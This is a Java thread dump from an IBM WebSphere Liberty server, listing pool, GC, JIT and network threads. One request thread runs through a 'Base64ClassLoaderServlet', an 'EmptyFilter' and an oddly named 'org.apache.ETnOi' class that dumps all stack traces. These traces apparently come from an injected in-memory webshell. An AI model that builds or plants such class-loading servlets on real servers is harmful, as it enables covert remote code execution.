java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:189)
|
||||
at com.ibm.ws.objectManager.FileLogOutput$FlushHelper.run(FileLogOutput.java:2535)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Finalizer thread" #27 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Outbound Read Selector.1" #102 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"GC Worker" #15 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"reaper logger" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@8964baba
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$DeferredLogEmitter.take(ZipFileReaper.java:256)
|
||||
at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$DeferredLogEmitter.run(ZipFileReaper.java:228)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"GC Worker" #23 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"sib.SpillDispatcher-77EB184637998288-4" #85 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@674f9587
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Default Executor-thread-8" #58 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@1fb00692
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"JIT-SamplerThread" #10 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
|
||||
"JIT Compilation Thread-005 Suspended" #7 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Inbound Read Selector.1" #60 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"CheckpointHelper" #78 daemon [WAITING] on com.ibm.ws.objectManager.ObjectManagerState$CheckpointHelper@3ea76d33
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:189)
|
||||
at com.ibm.ws.objectManager.ObjectManagerState$CheckpointHelper.run(ObjectManagerState.java:3189)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Scheduled Executor-thread-1" #47 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c2eb9cd2
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Default Executor-thread-4" #52 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@d7d7afd1
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Timer-2" #42 daemon [WAITING] on java.util.TaskQueue@162ffd
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:189)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:526)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"Default Executor-thread-2" #50 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@676d8cc
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Default Executor-thread-19" #75 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@e0a3ff72
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"GC Worker" #14 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Default Executor-thread-3" #51 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@a3711e05
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Default Executor-thread-11" #64 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@38b59c87
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Default Executor-thread-7" #57 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@f6ca258c
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"GC Worker" #19 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Default Executor-thread-15" #68 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@6e18332b
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Inbound Write Selector.1" #61 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"sib.SpillDispatcher-77EB184637998288-7" #88 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@4a9590e
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Inbound Read Selector.1" #71 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Default Executor-thread-5" #53 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@65df54b7
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Default Executor-thread-21" #90 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@c3a74ae8
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"GC Worker" #21 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Executor Service Control Timer" #46 daemon [TIMED_WAITING] on java.util.TaskQueue@e7d6b3e3
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"Timer-0" #28 [TIMED_WAITING] on java.util.TaskQueue@886996f7
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"System defaultME : 1" #93 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@add360a4
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:333)
|
||||
at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:801)
|
||||
at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:899)
|
||||
at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1676)
|
||||
|
||||
"Thread-23" #96 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||
at org.apache.yoko.orb.OCI.IIOP.Acceptor_impl.accept(Acceptor_impl.java:125)
|
||||
at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.starterRun(GIOPServerStarterThreaded.java:171)
|
||||
at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.access$000(GIOPServerStarterThreaded.java:31)
|
||||
at org.apache.yoko.orb.OB.GIOPServerStarterThreaded$Starter.run(GIOPServerStarterThreaded.java:35)
|
||||
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
|
||||
at java.util.concurrent.FutureTask.run(FutureTask.java:266)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"ClassloaderMapProcessingThread-32" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e810209
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"zip file reaper" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a72a603
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock.wait(ZipFileReaper.java:1226)
|
||||
at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperRunnable.run(ZipFileReaper.java:442)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"JIT Compilation Thread-002 Suspended" #4 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Default Executor-thread-13" #66 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@9e731452
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Default Executor-thread-12" #65 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@307f9494
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Default Executor-thread-6" #55 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.lang.Thread.getStackTrace(Thread.java:1165)
|
||||
at java.lang.Thread.getAllStackTraces(Thread.java:1193)
|
||||
at org.apache.ETnOi.ErrorHandler.toString(BasicInfoPrinter.java:26)
|
||||
at java.lang.String.valueOf(String.java:3470)
|
||||
at java.io.PrintWriter.print(PrintWriter.java:617)
|
||||
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
||||
at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1230)
|
||||
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:729)
|
||||
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:426)
|
||||
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.invokeTarget(WebAppFilterChain.java:182)
|
||||
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:93)
|
||||
at EmptyFilter.doFilter(EmptyFilter.java:21)
|
||||
at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:201)
|
||||
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:90)
|
||||
at com.ibm.ws.security.jaspi.JaspiServletFilter.doFilter(JaspiServletFilter.java:56)
|
||||
at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:201)
|
||||
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:90)
|
||||
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:1001)
|
||||
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1139)
|
||||
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1010)
|
||||
at com.ibm.ws.webcontainer.servlet.CacheServletWrapper.handleRequest(CacheServletWrapper.java:75)
|
||||
at com.ibm.ws.webcontainer40.servlet.CacheServletWrapper40.handleRequest(CacheServletWrapper40.java:83)
|
||||
at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:936)
|
||||
at com.ibm.ws.webcontainer.osgi.DynamicVirtualHost$2.run(DynamicVirtualHost.java:279)
|
||||
at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink$TaskWrapper.run(HttpDispatcherLink.java:1141)
|
||||
at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink.wrapHandlerAndExecute(HttpDispatcherLink.java:422)
|
||||
at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink.ready(HttpDispatcherLink.java:381)
|
||||
at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:565)
|
||||
at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.handleNewRequest(HttpInboundLink.java:499)
|
||||
at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.processRequest(HttpInboundLink.java:359)
|
||||
at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.ready(HttpInboundLink.java:326)
|
||||
at com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:167)
|
||||
at com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:75)
|
||||
at com.ibm.ws.tcpchannel.internal.WorkQueueManager.requestComplete(WorkQueueManager.java:504)
|
||||
at com.ibm.ws.tcpchannel.internal.WorkQueueManager.attemptIO(WorkQueueManager.java:574)
|
||||
at com.ibm.ws.tcpchannel.internal.WorkQueueManager.workerRun(WorkQueueManager.java:958)
|
||||
at com.ibm.ws.tcpchannel.internal.WorkQueueManager$Worker.run(WorkQueueManager.java:1047)
|
||||
at com.ibm.ws.threading.internal.ExecutorServiceImpl$RunnableWrapper.run(ExecutorServiceImpl.java:239)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"sib.SpillDispatcher-77EB184637998288-1" #82 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@97172478
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"JIT Compilation Thread-003 Suspended" #5 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"GC Worker" #18 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Inbound Write Selector.1" #99 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"main" #1 [WAITING] on java.util.concurrent.atomic.AtomicReference@75e2431a
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at org.eclipse.osgi.container.SystemModule.waitForStop(SystemModule.java:173)
|
||||
at org.eclipse.osgi.internal.framework.EquinoxBundle$SystemBundle.waitForStop(EquinoxBundle.java:306)
|
||||
at org.eclipse.osgi.launch.Equinox.waitForStop(Equinox.java:198)
|
||||
at com.ibm.ws.kernel.launch.internal.FrameworkManager.waitForFrameworkStop(FrameworkManager.java:719)
|
||||
at com.ibm.ws.kernel.launch.internal.FrameworkManager.launchFramework(FrameworkManager.java:313)
|
||||
at com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl.doFrameworkLaunch(LauncherDelegateImpl.java:114)
|
||||
at com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl.launchFramework(LauncherDelegateImpl.java:100)
|
||||
at com.ibm.ws.kernel.boot.internal.KernelBootstrap.go(KernelBootstrap.java:214)
|
||||
at com.ibm.ws.kernel.boot.Launcher.handleActions(Launcher.java:241)
|
||||
at com.ibm.ws.kernel.boot.Launcher.createPlatform(Launcher.java:117)
|
||||
at com.ibm.ws.kernel.boot.cmdline.EnvCheck.main(EnvCheck.java:59)
|
||||
at com.ibm.ws.kernel.boot.cmdline.EnvCheck.main(EnvCheck.java:35)
|
||||
|
||||
"JIT Compilation Thread-004 Suspended" #6 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Timer-1" #30 [TIMED_WAITING] on java.util.TaskQueue@90df577
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"GC Worker" #20 daemon [RUNNABLE]
|
||||
